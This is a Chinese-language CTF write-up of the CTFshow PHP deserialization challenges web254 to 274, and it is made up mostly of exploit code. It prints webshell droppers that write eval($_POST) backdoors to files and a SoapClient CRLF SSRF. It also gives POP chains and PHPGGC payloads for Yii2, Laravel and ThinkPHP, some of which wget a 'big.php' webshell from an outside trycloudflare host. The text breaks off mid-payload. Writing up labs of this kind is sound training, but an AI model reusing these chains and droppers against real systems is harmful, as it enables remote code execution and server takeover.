CTFSHOW WEB入门 反序列化篇

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

要求 username 和 password 都为 xxxxxx,根据提示构造 payload。
payload: ?username=xxxxxx&password=xxxxxx

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。

$user = new ctfShowUser();
$user->isVip = true;
var_dump(serialize($user));
//string(95) "O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}"

url: /?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

相比上题新增了 username !== password 的要求,按要求构造即可。

$user = new ctfShowUser();
$user->isVip = true;
$user->username = "china";
$user->password = "123456";
var_dump(serialize($user));
//string(94) "O:11:"ctfShowUser":3:{s:8:"username";s:5:"china";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}"

url: /?password=123456&username=china
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22china%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

backDoor 代替 info,然后正常构造即可。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'info';

    public function __construct(){
        $this->class= new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pID8+'));";
    public function getInfo(){
        eval($this->code);
    }
}

$u = new ctfShowUser();
var_dump(urlencode(serialize($u)));

url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pID8%2B%27%29%29%3B%22%3B%7D%7D

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

增加了正则过滤,这里可以利用 unserialize 函数的一个特性绕过。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='));";
    public function getInfo(){
        eval($this->code);
    }
}

$u = new ctfShowUser();
// 在数字前面加上 `+` 即可,这里正则替换一下。
var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2", serialize($u))));

url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOw%3D%3D%27%29%29%3B%22%3B%7D%7D
蚁剑连接 sh.php 查看 flag。

web259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

考点是利用 SoapClient 类反序列化 + CRLF 实现 SSRF,构造请求访问 flag.php 得到 flag。
反序列化后的 SoapClient 对象在调用不存在的方法时会调用 __call,在 user_agent 中插入 CRLF 也就是 \r\n 控制 headerbody 构造想要的请求。

<?php

$target = "http://127.0.0.1/flag.php";
$post = "token=ctfshow";
$a = new SoapClient(null, array(
    "location" => $target,
    "user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".(string)strlen($post)."\r\n\r\n".$post,
    "uri" => "aaaa"
));

var_dump(urlencode(serialize($a)));

访问 flag.txt 得到 flag。

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

需要传入的字符串序列化后满足正则 /ctfshow_i_love_36D/,直接传这个就行。
payload: ?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

PHP 文档中提到

注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。

查看 response header 可知 X-Powered-By: PHP/7.4.16,那么 __wakeup 部分就不会被执行,与注释无异。
__destruct 函数部分弱比较 $this->code==0x36d,因为 $this->code = $this->username.$this->password;username 可控制,因为 (int)'877.php' == 0x36d,故传 877.php 即可绕过。

<?php

class ctfshowvip{
    public $username = "877.php";
    public $password = "<?php @eval(\$_POST[2]);";
}

$a = new ctfshowvip();

var_dump(urlencode(serialize($a)));

payload: ?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+%40eval%28%24_POST%5B2%5D%29%3B%22%3B%7D

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

提示还有 message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

看似是反序列化字符串逃逸,实际上自己构造改 cookie 就可以。

<?php

class message{
    public $token='admin';
}

$a = new message();
var_dump(base64_encode(serialize($a)));

cookie: msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

web263

打开一个登录框,登录失败没啥信息,扫描器扫到备份 www.zip,下载得到源码。
index.php 中:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

可知我们可以通过修改 $COOKIE['limit'] 来控制 session 的内容。
inc.php 中:

<?php

...

ini_set('session.serialize_handler', 'php');
session_start();
...

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

...

使用 ini_set 指定了 serialize_handlerphp,如果默认的 serialize_handlerphp_serialize,就可以通过在序列化的字符串之前加 |,反序列化任意对象。

  • php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值

注意:在 php 5.5.4 以前默认选择的是 php5.5.4 之后就是 php_serialize,这里的 php 版本为 7.3.11,那么默认就是 php_serialize

那么思路就很清晰了,首先在 $COOKIE['limit'] 中构造 |+序列化对象 的字符串,访问首页写入 session,再通过 check.php 加载的 inc.php 中的 ini_set('session.serialize_handler', 'php');sessionsession.serialize_handler=php 的格式反序列化,执行 User 类的 __destruct 方法写 shell
首先构造 payload

<?php


class User{
    public $username = "test/../../../../../../../../../../var/www/html/c.php";
    public $password = "<?php @eval(\$_POST[1]); ?>";
    public $status;
}

$a = new User();
$target = '|'.serialize($a);
var_dump($target);
var_dump(urlencode(base64_encode($target)));

payload: fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1MzoidGVzdC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2h0bWwvYy5waHAiO3M6ODoicGFzc3dvcmQiO3M6MjY6Ijw%2FcGhwIEBldmFsKCRfUE9TVFsxXSk7ID8%2BIjtzOjY6InN0YXR1cyI7Tjt9
更改 cookie 后访问 index.phpsession 的内容是这样的:

a:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username";s:53:"test/../../../../../../../../../../var/www/html/b.php";s:8:"password";s:26:"<?php @eval($_POST[1]); ?>";s:6:"status";N;}

这是 session.serialize_handler=php_serialize 存储的结果,如果通过 session.serialize_handler=php 读取 session,就会把前面的 a:1:{s:5:"limit";s:156:" 当作 key| 后面的部分作为序列化对象反序列化,就可以反序列化 User 类了。

web264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

注释中提示还有 message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这次相比 web262 有了 session 的限制,就不能自己构造了,用起来反序列化字符串逃逸。fuck -> loveU 增加了一个字符,要逃逸出来的字符串 ";s:5:"token";s:5:"admin";} 长度为 27,故构造 27 个 fuck

print("fuck"*27+"""";s:5:"token";s:5:"admin";}""")

payload: ?f=aaaa&m=aaaa&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

如果要靠输入的 $password 去和 md5(mt_rand()) 碰撞,几乎是不可能的。这里需要用到 php引用,使得 $password = &$token;,那么 $password === $token 就没问题了。

<?php

class ctfshowAdmin{
    public $token;
    public $password;
}

$c = new ctfshowAdmin();
$c->password = &$c->token;
var_dump(urlencode(serialize($c)));

payload: ?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这里涉及到一个 php 常识:PHP大小写:函数名和类名不区分,变量名区分

<?php

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}

$c = new ctfshow();
$a = str_replace("ctfshow", "ctfsHow", serialize($c));
var_dump($a);

php://input 要用 bp。
payload: O:7:"ctfsHow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

web267

一开始没思路,搜了一下知道是 Yii 框架的反序列化漏洞。
首先 admin/admin 弱密码登录,然后在 /index.php?r=site/about 可以看到注释里面有一个 ?view-source,加上之后访问 /index.php?r=site%2Fabout&view-source 看到一个反序列化的点 backdoor/shell unserialize(base64_decode($_GET['code'])),随便搜一个反序列化的 pop 链打一下。

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cp /flag 3.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

这里 system 不能用,用了 shell_exec
payload: /index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
访问 3.txt 得到 flag

web268

前面的流程和上一题差不多,不过这次不给用 BatchQueryResult 了,改用 RunProcess 类作为 pop 链入口。

<?php
 
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php'; //传个大马
        }
    }
}
 
namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters ;
        public function __construct(){
            $this->formatters['isRunning']=[new IndexAction(),'run'];
        }
 
    }
}
 
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes=[];
        public function __construct(){
 
            $this->processes[]=new Generator();
        }
 
    }
}
 
namespace{
 
    use Codeception\Extension\RunProcess;
 
    echo base64_encode(serialize(new RunProcess()));
}

web269

同理,换个链换个函数接着打,主要的内容还是要理解如何构造 pop 链,剩下的就是机械劳动了。

<?php
namespace {
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;

    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys;

        public function __construct()
        {
            $this->keys = array(
                "V0W" =>array("is", "Ca1j1")
            );
            $this->path = new Covers();
        }
    }

    $payload = new Swift_KeyCache_DiskKeyCache();
    echo base64_encode(serialize($payload));
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    class Covers{
        private $refers;
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
            $this->refers = "AnyStringisOK";
        }
    }

}

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php';
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['render'] = [new IndexAction, 'run'];
        }
    }
}

web270

学会构造 pop 链固然重要,但这里找到了好用的工具 PHPGGC

$ ./phpggc Yii2/RCE2 "passthru('wget https://hoping-billy-vip-pair.trycloudflare.com/big.php');" --base64

一键生成 payload,有脚本小子内味了。

web271-273

不得不说这玩意真好用

$ ./phpggc Laravel/RCE6 "system('cat /flag');" --url

payload: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D

web274

这里 phpggc 的不能用了,找了另外一个链打的,看来有空也要构建自己的武器库。

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    class Windows{
        private $files = [];
        public function __construct()
        {
            $this->files[]=new Pivot();
        }
    }
}
 
namespace think{
    abstract class Model{
        private $data = [];
        protected $append = [];
        public function __construct()
        {
            $this->data=array(
                'autumn'=>new Request()
            );
            $this->append=array(
                'autumn'=>array(
                    'hello'=>'world'
                )
            );
 
        }
 
    }
}
 
namespace think\model{
    use think\Model;
    class Pivot extends Model{
 
    }
}
namespace think{
    class Request{
        protected $hook = [];
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        protected $filter;
        public function __construct()
        {
            $this->hook['visible']=[$this,'isAjax'];
            $this->filter='system';
        }
 
    }
}
 
namespace {
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
}

payload: ?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo2OiJhdXR1bW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJhdXR1bW4iO2E6MTp7c